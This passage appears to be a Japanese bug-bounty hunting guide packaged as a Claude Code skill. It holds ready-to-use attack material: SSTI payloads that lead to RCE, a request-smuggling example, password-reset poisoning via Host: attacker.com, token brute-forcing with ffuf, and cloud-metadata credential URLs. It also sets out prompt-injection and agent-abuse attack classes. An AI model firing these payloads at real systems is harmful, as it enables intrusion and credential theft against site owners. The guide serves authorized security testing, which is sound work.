- LLM に渡されるユーザー入力を介したプロンプトインジェクション
- AI が処理するドキュメント/URL を介した間接インジェクション
- チャット履歴の IDOR(会話 ID を列挙)
- ロールプレイ/エンコードによるシステムプロンプトの抽出
- コード実行ツールの悪用による RCE
- ASCII スマグリング(LLM の出力に含まれる不可視の Unicode)
エージェント型 AI のハンティング(OWASP ASI01-ASI10)
対象にツールアクセス権を持つ AI エージェントがある場合、次の 10 種類の攻撃クラスを確認します。
| ID | 脆弱性クラス | テスト内容 |
|---|---|---|
| ASI01 | プロンプトインジェクション | ユーザー入力を介してシステムプロンプトを乗っ取り、エージェントにルールを無視させます |
| ASI02 | ツールの誤用 | 攻撃者が制御するパラメーターで AI にツールを呼び出させます(「URL の取得」による SSRF、コードツールによる RCE) |
| ASI03 | データの持ち出し | コンテキストを漏えいさせる巧妙なプロンプトを使って、学習データ/PII を抽出します |
| ASI04 | 権限昇格 | AI を使って管理者専用ツールにアクセスします。エージェントの権限がユーザーより広い場合があります |
| ASI05 | 間接インジェクション | AI が処理するドキュメント/URL を汚染します。取得したコンテンツに隠し命令を埋め込みます |
| ASI06 | 過剰な自律性 | AI が確認なしに破壊的な操作(削除、送信、支払い)を実行します |
| ASI07 | モデル DoS | 無限ループ、過剰なトークン使用、または OOM を引き起こす入力を作成します |
| ASI08 | 安全でない出力 | AI が出力内に XSS/SQLi/コマンドインジェクションを生成し、それがレンダリングされます |
| ASI09 | サプライチェーン | AI が呼び出す侵害されたプラグイン/ツール/MCP サーバー |
| ASI10 | 機密情報の開示 | AI が内部設定、API キー、システムプロンプト、ユーザーデータを漏えいします |
トリアージルール: ASI 単独では Informational です。有償バウンティの対象にするには、IDOR/データ持ち出し/RCE/ATO への連鎖が必要です。
キャッシュポイズニング/Web キャッシュ欺瞞
-
X-Forwarded-Host、X-Original-URL、X-Rewrite-URLをテストします。キーに含まれないヘッダーがレスポンスに反映されるか確認します - パラメータークローキング(
?param=value;poison=xss) - Fat GET(GET リクエストのボディパラメーター)
- Web キャッシュ欺瞞(
/account/settings.css— キャッシュをだまして非公開レスポンスを保存させます) - Param Miner(Burp 拡張機能)— キーに含まれないヘッダーを自動検出します
HTTP リクエストスマグリング
- CL.TE:フロントエンドは Content-Length、バックエンドは Transfer-Encoding を処理します
- TE.CL:フロントエンドは Transfer-Encoding、バックエンドは Content-Length を処理します
- H2.CL:HTTP/2 のダウングレードを利用したスマグリング
- TE の難読化:
Transfer-Encoding: xchunked、タブを前置、スペースを前置 - Burp の「HTTP Request Smuggler」拡張機能を使用します。自動検出できます
CL.TE の例
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
フロントエンドは Content-Length: 13 を読み取り、すべてを送信します。バックエンドは Transfer-Encoding を読み取り、チャンク「0」を終端と見なします。「SMUGGLED」がバッファーに残り、次のユーザーのリクエストが汚染されます。
Android/モバイルのハンティング
- 証明書ピンニングのバイパス(Frida/objection)
- エクスポートされたアクティビティ/レシーバー(AndroidManifest.xml)
- ディープリンクインジェクション
- SharedPreferences/SQLite に平文で保存されたデータ
- WebView の JavaScript ブリッジ
- モバイル API では、Web 版より古い、または異なる API バージョンが使われていることがよくあります
CI/CD パイプライン
- GitHub Actions:PR コードをチェックアウトする
pull_request_target - ワークフローログ内のシークレット
- アーティファクトの汚染(既存のアーティファクトを上書き)
- ブランチ名/タグ名を介したビルドコマンドインジェクション
- CI ランナーからの OIDC トークン窃取
SSTI — サーバーサイドテンプレートインジェクション
検出用ペイロード
{{7*7}} -> 49 = Jinja2 / Twig / generic
${7*7} -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %> -> 49 = ERB (Ruby)
#{7*7} -> 49 = Mako / some Ruby
*{7*7} -> 49 = Spring (Thymeleaf)
{{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
テストする場所
- 名前/自己紹介/説明フィールド(プロフィールページ)
- メールテンプレート(請求書の名前、確認メール内のユーザー名)
- カスタムエラーメッセージ
- PDF 生成機能(請求書、レポートのエクスポート)
- URL パスパラメーター
- 検索結果に反映される検索クエリ
Jinja2 → RCE(Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig → RCE(PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker → RCE(Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB → RCE(Ruby on Rails)
<%= `id` %>
サブドメイン乗っ取り
検出
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com
# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
早期判定用フィンガープリント
"There isn't a GitHub Pages site here" -> GitHub Pages
"NoSuchBucket" -> AWS S3
"No such app" -> Heroku
"404 Web Site not found" -> Azure App Service
"Fastly error: unknown domain" -> Fastly CDN
"project not found" -> GitLab Pages
"It looks like you may have typed..." -> Shopify
影響の拡大
- 基本的な乗っ取り:target.com のサブドメインでページを配信する → 低/中
- + Cookie:target.com が domain=.target.com の Cookie を設定している場合 → 認証情報の窃取 → 高
- + OAuth リダイレクト:sub.target.com が登録済みの redirect_uri の場合 → ATO につながる攻撃チェーン → 重大
- + CSP バイパス:sub.target.com が target の CSP に含まれている場合 → 任意の場所で XSS → 重大
ATO -- アカウント乗っ取り(完全な分類)
パス 1:パスワードリセットポイズニング(Host ヘッダーインジェクション)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
パス 2:Referer 漏えいによるリセットトークンの流出
リセットリンクをクリックした後、ページが外部リソースを読み込む場合 → 外部ドメインへの Referer ヘッダーにトークンが含まれます。
パス 3:予測可能/脆弱なリセットトークン
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
パス 4:トークンの有効期限切れなし/再利用
トークンをリクエスト → 2 時間待つ → 使用する → まだ有効ですか? トークン #1 をリクエスト → トークン #2 をリクエスト → トークン #1 を使用 → まだ有効ですか?
パス 5:再認証なしでのメールアドレス変更
PUT /api/user/email
{"new_email": "[email protected]"}
# If no current_password required -> attacker changes email -> locks out victim
パス 6:OAuth アカウント連携の悪用
既存のアカウントに、別のメールアドレスの OAuth アカウントを連携できますか?
パス 7:セッション固定
GET /login → Set-Cookie session=XYZ を記録 → ログイン → セッション ID が変わりますか? 変わらない場合はセッション固定です。
クラウド/インフラの設定ミス
S3 / GCS / Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 メタデータ(SSRF 経由)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical
# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Firebase のオープンルール
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
公開された管理パネル
/jenkins /grafana /kibana /elasticsearch
/swagger-ui.html /api-docs /phpMyAdmin /adminer.php
/.env /config.json /server-status /actuator/env
Kubernetes / Docker
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json
フェーズ 4:検証
7 つの質問による判定(レポートを作成する前に必ず実施)
7 つすべてが YES である必要があります。NO が 1 つでもあれば中止してください。
Q1:今すぐ、実際の PoC で悪用できますか?
正確な HTTP リクエストを書いてください。動作するリクエストを提示できない場合は、対象から外してください。
Q2:特別な行動をしていない実際のユーザーに影響しますか?
「ユーザーが〜する必要がある」という前提条件が 5 つもあるケースは不可です。被害者は特別なことを何もしていません。
Q3:具体的な影響(金銭、PII、ATO、RCE)がありますか?
「技術的に可能」は影響ではありません。「被害者の SSN を読み取った」は影響です。
Q4:プログラムのポリシーに照らして対象範囲内ですか?
プログラムの対象範囲ページで、該当するドメイン/エンドポイントを確認してください。
Q5:重複がないか、Hacktivity/変更履歴を確認しましたか?
プログラムで公開されたレポートと最近の変更履歴を検索してください。
Q6:「常に却下される」リストに含まれていませんか?
以下のリストを確認してください。該当し、攻撃チェーンにつなげられない場合は、対象から外してください。
Q7:トリアージ担当者が読んで「はい、これは本物のバグです」と言うでしょうか?
金曜日の午後 5 時に疲れているトリアージ担当者になったつもりで、レポートを読み返してください。納得してもらえますか?
提出前の 4 つの判定ゲート
ゲート 0:現実性の確認(30 秒)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
ゲート 1:影響の検証(2 分)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
ゲート 2:重複確認(5 分)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
ゲート 3:レポートの品質(10 分)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 クイックガイド
| 要素 | 低(0-3.9) | 中(4-6.9) | 高(7-8.9) | 重大(9-10) |
|---|---|---|---|---|
| 攻撃ベクター | 物理 | ローカル | 隣接 | ネットワーク |
| 権限 | 高 | 低 | なし | なし |
| ユーザー操作 | 必要 | 必要 | 不要 | 不要 |
| 影響 | 部分的 | 部分的 | 高 | 高(3 項目すべて) |
バグの種類ごとの典型的なスコア
| バグ | 典型的な CVSS | 重大度 |
|---|---|---|
| IDOR(PII の読み取り) | 6.5 | 中 |
| IDOR(書き込み/削除) | 7.5 | 高 |
| 認証バイパス → 管理者 | 9.8 | 重大 |
| 格納型 XSS | 5.4-8.8 | 中~高 |
| SQLi(データの流出) | 8.6 | 高 |
| SSRF(クラウドメタデータ) | 9.1 | 重大 |
| 競合状態(二重支払い) | 7.5 | 高 |
| GraphQL 認証バイパス | 8.7 | 高 |
| JWT の none アルゴリズム | 9.1 | 重大 |
常に却下されるもの -- 絶対に提出しないでください
CSP/HSTS/セキュリティヘッダーの欠如、SPF/DKIM/DMARCの欠如、GraphQLのイントロスペクションのみ、実際に悪用できるCVEがないバナー/バージョン情報の開示、機密情報を扱わないページでのクリックジャッキング、タブナビング、CSVインジェクション、認証情報の窃取を実証するPoCのないCORSのワイルドカード設定、ログアウト時のCSRF、セルフXSS、単独のオープンリダイレクト、モバイルアプリ内のOAuth client_secret、DNSへのpingのみのSSRF、単独のHostヘッダーインジェクション、重要でないフォームにおけるレート制限の欠如、ログアウト時にセッションが無効化されないこと、複数の同時セッション、内部IPの開示、混在コンテンツ、SSLの脆弱な暗号スイート、単独のHttpOnly/Secure Cookieフラグの欠如、外部リンク切れ、アカウント作成前の乗っ取り(通常)、パスワードフィールドのオートコンプリート。
N/Aは有効性比率を下げます。Informativeは中立です。7つの質問によるゲートを通過するものだけを提出してください。
チェーン化により条件付きで有効
以下の低重大度の指摘は、チェーン化すると有効なバグになります。
| 低重大度の指摘 | + チェーン | = 有効なバグ |
|---|---|---|
| オープンリダイレクト | + OAuthコードの窃取 | アカウント乗っ取り |
| クリックジャッキング | + 機密性の高い操作 + PoC | アカウント操作 |
| CORSのワイルドカード設定 | + 認証情報を使ったデータ流出 | データ窃取 |
| CSRF | + 機密性の高い状態変更 | アカウント乗っ取り |
| レート制限なし | + OTPのブルートフォース | アカウント乗っ取り |
| SSRF(DNSのみ) | + 内部アクセスの証明 | 内部ネットワークへのアクセス |
| Hostヘッダーインジェクション | + パスワードリセットの汚染 | アカウント乗っ取り |
| セルフXSS | + ログインCSRF | 被害者のブラウザー上での保存型XSS |
フェーズ5:レポート
HackerOneレポートテンプレート
Title: [Vuln Class] in [endpoint/feature] leads to [Impact]
## Summary
[2-3 sentences: what it is, where it is, what attacker can do]
## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]
## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]
## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]
## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowdレポートテンプレート
Title: [Vuln] at [endpoint] -- [Impact in one line]
Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]
Description:
[Root cause + exact location]
Reproduction:
1. [step]
2. [step]
3. [step]
Impact:
[Concrete business impact]
Fix Suggestion:
[Specific remediation]
人間らしい文体のルール(AIらしい文章を避ける)
- 脆弱性の名称ではなく、影響から文を始めます
- 教科書のようにではなく、知識のある開発者に説明するように書きます
- 「私は」を使い、能動態で書きます。「脆弱性が発見されました」ではなく、「私は次のことを発見しました」とします
- 抽象的な文を3つ並べるより、具体例を1つ示します
- ダッシュ(—)や、「comprehensive/leverage/seamless/ensure」は使いません
レポートタイトルの定型
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
良いタイトル:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times
悪いタイトル:
IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
影響の記述の定型(最初の段落)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
提出前の60秒チェックリスト
[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
深刻度の引き上げに使う表現
報奨金が減額される場合は、次の反論を使います。
| プログラム側の主張 | こちらの反論 |
|---|---|
| 「認証が必要」 | 「攻撃者に必要なのは無料アカウントだけです(特別なロールは不要です)」 |
| 「影響は限定的」 | 「影響を受けるユーザー数は[N]人です/[PIIの種類]が漏えいします/影響額は[$ amount]です」 |
| 「既知の問題」 | 「レポート番号を教えてください。検索しましたが見つかりませんでした」 |
| 「仕様どおり」 | 「これが意図された動作だと記載したドキュメントを示してください」 |
| 「CVSSスコアが低い」 | 「CVSSはビジネスへの影響を考慮しません。攻撃者は[X]を窃取できます」 |
リソース
バグバウンティプラットフォーム
- HackerOne Hacktivity -- 公開済みレポート
- Bugcrowd Crowdstream -- 公開された指摘
- Intigriti Leaderboard
学習
- PortSwigger Web Academy -- 無料の脆弱性演習(おすすめ)
- HackTricks -- 攻撃手法のリファレンス
- PayloadsAllTheThings -- ペイロードのリファレンス
- Solodit -- 検索可能な監査指摘5万件以上(Web3)
- ProjectDiscovery Chaos -- 無料のサブドメインデータセット
ワードリスト
- SecLists -- 包括的なワードリスト
- HowToHunt -- 脆弱性ハンティングの手順ガイド
- DefaultCreds -- デフォルトの認証情報
ペイロードデータベース
- XSSHunter -- ブラインドXSSの検出
- interactsh -- OOBコールバックサーバー
インストール(Claude Code スキル)
Claude Code スキルとして使用するには、このファイルをスキルディレクトリにコピーします。
# Option A: Clone the repo and link the skill
git clone https://github.com/Awarexone/Agentic-Bug-Hunter.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md
# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/Awarexone/Agentic-Bug-Hunter/main/SKILL.md \
-o ~/.claude/skills/bug-bounty/SKILL.md
その後、Claude Code でバグバウンティ、偵察、脆弱性ハンティングについて尋ねると、このスキルが自動的に読み込まれます。